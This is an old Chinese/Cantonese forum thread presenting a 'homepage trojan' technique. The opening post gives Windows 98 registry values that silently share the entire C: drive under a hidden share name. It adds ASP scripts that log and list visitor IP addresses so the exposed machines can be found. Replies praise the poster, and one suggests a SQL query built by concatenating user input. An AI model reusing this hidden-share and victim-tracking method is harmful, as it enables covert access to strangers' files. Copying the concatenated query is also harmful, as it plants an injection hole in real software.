主页也可以制作木马，呵！福音啊

渣王

windows98有个共享漏洞；　 在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面　 添加个键如RWC$然后再加几个键值：　 "Flags"=dword:00000302　 "Type"=dword:00000000　 "Path"="C:\\"　 这样就把c盘设为共享了，共享名为RWC$。而且你在网络属性中还看不到（把"Flags"=dword:00000302 改　 成Flags"=dword:00000402就可看到 ）。　 *****************************************************　 　 ***********************************************************************************　 当然仅共享还不行，我们还要知道访客的ip（呵呵，我们不能老害自己人）。　 只要有后台程序就很容易，下面是一个asp的例子　 *******************************************************************************　 <% @language="vbscript" %>　 <%　 response.buffer=true　 Response.Expires=0　 'dim rs,sql,conn　 Set conn = Server.CreateObject("ADODB.Connection")　 conn.Open "Driver={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("\ip") & "\ip.mdb;"　 Set rs = Server.CreateObject("ADODB.Recordset")　 sql="select * from ip "　 rs.open sql,conn,3,2　 rs.addnew　 rs("ip")=Request.ServerVariables("REMOTE_HOST")　 >这一句是记录ip　 rs("datetime")=now()　 >这一句是记录时间　 rs.update　 rs.close　 %>　 ************************************************************************************　 ip.mdb的内容是：　 表 ip　 三列　 一列主键id　 一列记录来访者的ip——ip　 一列记录来访者的时间——datetime　 这段程式很简单不难看懂。　 你可通过下面的啊asp把数据读出　 **********************************************************************　 <% @language="vbscript" %>　 <%　 response.buffer=true　 Response.Expires=0　 'dim rs,sql,conn　 Set conn = Server.CreateObject("ADODB.Connection")　 conn.Open "Driver={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("\ip") & "\ip.mdb;"　 Set rs = Server.CreateObject("ADODB.Recordset")　 %>　 　 　 　 　 　 <%　 sql="select * from ip order by datetime desc"　 rs.open sql,conn,3,2　 if not rs.eof then　 response.write ""　 response.write " IP地址 访问时间 "　 do while not rs.eof　 response.write " "&rs("ip")&" "&rs("datetime")&" "　 rs.movenext　 loop　 response.write " "　 else　 response.write "无记录！"　 end if　 rs.close　 %>　

学友

好长嘅一条嘢！！！！！！！！！！！！

楚天歌

…………~！好似好劲喔

.Net

渣王 兄 你简直系个天才！！！！！！！ 你好利害啊！！！！！！！！可以做我师傅吗？？？？？？？

渣王

唔好甘讲，我会面红既

AK48

以上的代码在查看IP时是由最后记录IP时间查起的，不很方便，不如在查找到IP后用输入函数给这个IP起一个名称，ip.mdb里要增加一个字段如“IPN”用来储存这个名称，“sql="select * from ip order by datetime desc"　这句改为：sql="select * from ip where IPN='" & text1.Text & "'",　想到哪一台机在text1里输入名称就可以了。 还有rs.update后要不要加上rs.Requery 才可以 rs.close呢，如果在VB下这样好似会出现错误，呵呵，还请渣王兄多多指教！